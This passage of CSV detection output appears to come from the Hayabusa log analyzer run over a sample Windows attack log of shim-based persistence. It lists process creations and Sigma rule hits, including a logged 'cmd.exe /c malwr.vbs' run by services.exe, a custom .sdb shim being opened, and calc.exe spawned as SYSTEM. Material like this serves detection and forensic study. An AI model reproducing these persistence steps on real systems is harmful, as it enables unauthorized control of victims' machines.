",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:58:44.237 +09:00,PC01.example.corp,1,high,Run Whoami as SYSTEM,,rules/sigma/process_creation/win_whoami_as_system.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:58:44.237 +09:00,PC01.example.corp,1,medium,Whoami Execution,,rules/sigma/process_creation/win_susp_whoami.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:58:44.237 +09:00,PC01.example.corp,1,low,Local Accounts Discovery,,rules/sigma/process_creation/win_local_system_owner_account_discovery.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:58:44.237 +09:00,PC01.example.corp,1,high,Whoami Execution Anomaly,,rules/sigma/process_creation/win_susp_whoami_anomaly.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 06:00:01.518 +09:00,PC01.example.corp,1,informational,Process Creation,Command: C:\Windows\System32\wsqmcons.exe : Path: C:\Windows\System32\wsqmcons.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 06:00:01.539 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: C:\Windows\system32\schtasks.exe /delete /f /TN ""Microsoft\Windows\Customer Experience Improvement Program\Uploader"" : Path: C:\Windows\System32\schtasks.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\System32\wsqmcons.exe ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 06:10:34.489 +09:00,PC01.example.corp,1,informational,Process Creation,Command: taskhost.exe $(Arg0) : Path: C:\Windows\System32\taskhost.exe : User: NT AUTHORITY\LOCAL SERVICE : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 06:18:54.257 +09:00,PC01.example.corp,1,informational,Process Creation,Command: atbroker.exe : Path: C:\Windows\System32\AtBroker.exe : User: EXAMPLE\user01 : Parent Command: winlogon.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 06:18:57.202 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""C:\Windows\system32\mmc.exe"" ""C:\Windows\system32\eventvwr.msc"" : Path: C:\Windows\System32\mmc.exe : User: EXAMPLE\user01 : Parent Command: C:\Windows\Explorer.EXE",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 06:21:05.306 +09:00,PC01.example.corp,1,informational,Process Creation,Command: UI0Detect.exe 224 : Path: C:\Windows\System32\UI0Detect.exe : User: EXAMPLE\user01 : Parent Command: C:\Windows\system32\UI0Detect.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 06:22:28.886 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""C:\Windows\system32\rundll32.exe"" C:\Windows\system32\shell32.dll,OpenAs_RunDLL C:\Windows\AppPatch\Custom\{3ad6ed23-adf8-4bc1-a898-4d695f482c64}.sdb : Path: C:\Windows\System32\rundll32.exe : User: EXAMPLE\user01 : Parent Command: C:\Windows\Explorer.EXE",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 06:22:33.593 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""C:\Program Files\Windows NT\Accessories\WORDPAD.EXE"" ""C:\Windows\AppPatch\Custom\{3ad6ed23-adf8-4bc1-a898-4d695f482c64}.sdb"" : Path: C:\Program Files\Windows NT\Accessories\wordpad.exe : User: EXAMPLE\user01 : Parent Command: ""C:\Windows\system32\rundll32.exe"" C:\Windows\system32\shell32.dll,OpenAs_RunDLL C:\Windows\AppPatch\Custom\{3ad6ed23-adf8-4bc1-a898-4d695f482c64}.sdb",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 06:26:05.397 +09:00,PC01.example.corp,1,informational,Process Creation,Command: UI0Detect.exe 224 : Path: C:\Windows\System32\UI0Detect.exe : User: EXAMPLE\user01 : Parent Command: C:\Windows\system32\UI0Detect.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 06:26:08.852 +09:00,PC01.example.corp,1,informational,Process Creation,Command: C:\Windows\System32\slui.exe -Embedding : Path: C:\Windows\System32\slui.exe : User: EXAMPLE\user01 : Parent Command: C:\Windows\system32\svchost.exe -k DcomLaunch,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 06:31:05.509 +09:00,PC01.example.corp,1,informational,Process Creation,Command: UI0Detect.exe 224 : Path: C:\Windows\System32\UI0Detect.exe : User: EXAMPLE\user01 : Parent Command: C:\Windows\system32\UI0Detect.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 06:36:05.610 +09:00,PC01.example.corp,1,informational,Process Creation,Command: UI0Detect.exe 224 : Path: C:\Windows\System32\UI0Detect.exe : User: EXAMPLE\user01 : Parent Command: C:\Windows\system32\UI0Detect.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 06:41:05.702 +09:00,PC01.example.corp,1,informational,Process Creation,Command: UI0Detect.exe 224 : Path: C:\Windows\System32\UI0Detect.exe : User: EXAMPLE\user01 : Parent Command: C:\Windows\system32\UI0Detect.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 06:41:11.440 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""LogonUI.exe"" /flags:0x0 : Path: C:\Windows\System32\LogonUI.exe : User: NT AUTHORITY\SYSTEM : Parent Command: winlogon.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 06:41:17.339 +09:00,PC01.example.corp,1,informational,Process Creation,Command: C:\Windows\system32\cmd.EXE /c malwr.vbs : Path: C:\Windows\System32\cmd.exe : User: EXAMPLE\user01 : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 06:41:17.339 +09:00,PC01.example.corp,1,informational,Process Creation,Command: gpscript.exe /Logoff : Path: C:\Windows\System32\gpscript.exe : User: EXAMPLE\user01 : Parent Command: C:\Windows\system32\svchost.exe -k GPSvcGroup,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 06:41:18.290 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""LogonUI.exe"" /flags:0x1 : Path: C:\Windows\System32\LogonUI.exe : User: NT AUTHORITY\SYSTEM : Parent Command: wininit.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 06:41:18.410 +09:00,PC01.example.corp,1,informational,Process Creation,Command: C:\Windows\servicing\TrustedInstaller.exe : Path: C:\Windows\servicing\TrustedInstaller.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:49.576 +09:00,PC01.example.corp,1,informational,Process Creation,Command: \SystemRoot\System32\smss.exe 00000000 0000003c : Path: C:\Windows\System32\smss.exe : User: NT AUTHORITY\SYSTEM : Parent Command: \SystemRoot\System32\smss.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:49.856 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: %%SystemRoot%%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,12288,512 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16 : Path: C:\Windows\System32\csrss.exe : User: NT AUTHORITY\SYSTEM : Parent Command: \SystemRoot\System32\smss.exe 00000000 0000003c ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:50.157 +09:00,PC01.example.corp,1,informational,Process Creation,Command: \SystemRoot\System32\smss.exe 00000001 0000003c : Path: C:\Windows\System32\smss.exe : User: NT AUTHORITY\SYSTEM : Parent Command: \SystemRoot\System32\smss.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:50.217 +09:00,PC01.example.corp,1,informational,Process Creation,Command: wininit.exe : Path: C:\Windows\System32\wininit.exe : User: NT AUTHORITY\SYSTEM : Parent Command: \SystemRoot\System32\smss.exe 00000000 0000003c ,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:50.217 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: %%SystemRoot%%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,12288,512 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16 : Path: C:\Windows\System32\csrss.exe : User: NT AUTHORITY\SYSTEM : Parent Command: \SystemRoot\System32\smss.exe 00000001 0000003c ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:50.387 +09:00,PC01.example.corp,1,informational,Process Creation,Command: winlogon.exe : Path: C:\Windows\System32\winlogon.exe : User: NT AUTHORITY\SYSTEM : Parent Command: \SystemRoot\System32\smss.exe 00000001 0000003c ,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:50.427 +09:00,PC01.example.corp,1,informational,Process Creation,Command: C:\Windows\system32\services.exe : Path: C:\Windows\System32\services.exe : User: NT AUTHORITY\SYSTEM : Parent Command: wininit.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:50.467 +09:00,PC01.example.corp,1,informational,Process Creation,Command: C:\Windows\system32\lsass.exe : Path: C:\Windows\System32\lsass.exe : User: NT AUTHORITY\SYSTEM : Parent Command: wininit.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:50.497 +09:00,PC01.example.corp,1,informational,Process Creation,Command: C:\Windows\system32\lsm.exe : Path: C:\Windows\System32\lsm.exe : User: NT AUTHORITY\SYSTEM : Parent Command: wininit.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:51.308 +09:00,PC01.example.corp,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k DcomLaunch : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:51.599 +09:00,PC01.example.corp,1,informational,Process Creation,Command: C:\Windows\System32\VBoxService.exe : Path: C:\Windows\System32\VBoxService.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:51.679 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""LogonUI.exe"" /flags:0x0 : Path: C:\Windows\System32\LogonUI.exe : User: NT AUTHORITY\SYSTEM : Parent Command: winlogon.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:51.789 +09:00,PC01.example.corp,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k LocalService : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\LOCAL SERVICE : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:53.111 +09:00,PC01.example.corp,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k GPSvcGroup : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:53.571 +09:00,PC01.example.corp,1,informational,Process Creation,Command: C:\Windows\System32\spoolsv.exe : Path: C:\Windows\System32\spoolsv.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:53.922 +09:00,PC01.example.corp,1,informational,Process Creation,Command: calc.exe : Path: C:\Windows\System32\calc.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:53.922 +09:00,PC01.example.corp,1,high,Suspicious SYSTEM User Process Creation,,rules/sigma/process_creation/win_susp_system_user_anomaly.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:54.102 +09:00,PC01.example.corp,1,informational,Process Creation,Command: gpscript.exe /Startup : Path: C:\Windows\System32\gpscript.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k GPSvcGroup,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:54.172 +09:00,PC01.example.corp,1,informational,Process Creation,Command: cmd.exe : Path: C:\Windows\System32\cmd.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:54.172 +09:00,PC01.example.corp,1,informational,Process Creation,Command: cmd.exe : Path: C:\Windows\System32\cmd.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:54.172 +09:00,PC01.example.corp,1,high,Abused Debug Privilege by Arbitrary Parent Processes,,rules/sigma/process_creation/sysmon_abusing_debug_privilege.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:54.172 +09:00,PC01.example.corp,1,high,Abused Debug Privilege by Arbitrary Parent Processes,,rules/sigma/process_creation/sysmon_abusing_debug_privilege.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:54.182 +09:00,PC01.example.corp,1,informational,Process Creation,Command: calc.exe : Path: C:\Windows\System32\calc.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:54.182 +09:00,PC01.example.corp,1,high,Suspicious SYSTEM User Process Creation,,rules/sigma/process_creation/win_susp_system_user_anomaly.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:54.593 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""C:\Program Files\freeSSHd\FreeSSHDService.exe"" : Path: C:\Program Files\freeSSHd\FreeSSHDService.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:54.603 +09:00,PC01.example.corp,1,informational,Process Creation,Command: calc.exe : Path: C:\Windows\System32\calc.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:54.603 +09:00,PC01.example.corp,1,high,Suspicious SYSTEM User Process Creation,,rules/sigma/process_creation/win_susp_system_user_anomaly.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:54.783 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""taskhost.exe"" : Path: C:\Windows\System32\taskhost.exe : User: EXAMPLE\user01 : Parent Command: C:\Windows\system32\services.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:54.793 +09:00,PC01.example.corp,1,informational,Process Creation,Command: atbroker.exe : Path: C:\Windows\System32\AtBroker.exe : User: EXAMPLE\user01 : Parent Command: winlogon.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:54.813 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""C:\Windows\system32\slui.exe"" : Path: C:\Windows\System32\slui.exe : User: EXAMPLE\user01 : Parent Command: winlogon.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:55.224 +09:00,PC01.example.corp,1,informational,Process Creation,Command: calc.exe : Path: C:\Windows\System32\calc.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:55.224 +09:00,PC01.example.corp,1,high,Suspicious SYSTEM User Process Creation,,rules/sigma/process_creation/win_susp_system_user_anomaly.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:55.404 +09:00,PC01.example.corp,1,informational,Process Creation,Command: calc.exe : Path: C:\Windows\System32\calc.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:55.404 +09:00,PC01.example.corp,1,high,Suspicious SYSTEM User Process Creation,,rules/sigma/process_creation/win_susp_system_user_anomaly.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:55.514 +09:00,PC01.example.corp,1,informational,Process Creation,Command: calc.exe : Path: C:\Windows\System32\calc.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:55.514 +09:00,PC01.example.corp,1,high,Suspicious SYSTEM User Process Creation,,rules/sigma/process_creation/win_susp_system_user_anomaly.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:55.544 +09:00,PC01.example.corp,1,informational,Process Creation,Command: calc.exe : Path: C:\Windows\System32\calc.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:55.544 +09:00,PC01.example.corp,1,high,Suspicious SYSTEM User Process Creation,,rules/sigma/process_creation/win_susp_system_user_anomaly.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:55.594 +09:00,PC01.example.corp,1,informational,Process Creation,Command: calc.exe : Path: C:\Windows\System32\calc.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:55.594 +09:00,PC01.example.corp,1,high,Suspicious SYSTEM User Process Creation,,rules/sigma/process_creation/win_susp_system_user_anomaly.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:55.654 +09:00,PC01.example.corp,1,informational,Process Creation,Command: gpscript.exe /Logon : Path: C:\Windows\System32\gpscript.exe : User: EXAMPLE\user01 : Parent Command: C:\Windows\system32\svchost.exe -k GPSvcGroup,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:55.654 +09:00,PC01.example.corp,1,informational,Process Creation,Command: C:\Windows\system32\userinit.exe : Path: C:\Windows\System32\userinit.exe : User: EXAMPLE\user01 : Parent Command: winlogon.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:55.725 +09:00,PC01.example.corp,1,informational,Process Creation,Command: C:\Windows\Explorer.EXE : Path: C:\Windows\explorer.exe : User: EXAMPLE\user01 : Parent Command: C:\Windows\system32\userinit.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:55.805 +09:00,PC01.example.corp,1,informational,Process Creation,Command: taskhost.exe $(Arg0) : Path: C:\Windows\System32\taskhost.exe : User: NT AUTHORITY\LOCAL SERVICE : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:55.835 +09:00,PC01.example.corp,1,informational,Process Creation,Command: calc.exe : Path: C:\Windows\System32\calc.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:55.835 +09:00,PC01.example.corp,1,high,Suspicious SYSTEM User Process Creation,,rules/sigma/process_creation/win_susp_system_user_anomaly.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:55.965 +09:00,PC01.example.corp,1,informational,Process Creation,Command: C:\Windows\Sysmon.exe : Path: C:\Windows\Sysmon.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:56.055 +09:00,PC01.example.corp,1,informational,Process Creation,Command: calc.exe : Path: C:\Windows\System32\calc.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:56.055 +09:00,PC01.example.corp,1,high,Suspicious SYSTEM User Process Creation,,rules/sigma/process_creation/win_susp_system_user_anomaly.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:56.376 +09:00,PC01.example.corp,1,informational,Process Creation,Command: calc.exe : Path: C:\Windows\System32\calc.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:56.376 +09:00,PC01.example.corp,1,high,Suspicious SYSTEM User Process Creation,,rules/sigma/process_creation/win_susp_system_user_anomaly.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:56.406 +09:00,PC01.example.corp,1,informational,Process Creation,Command: C:\Windows\system32\wlms\wlms.exe : Path: C:\Windows\System32\wlms\wlms.exe : User: NT 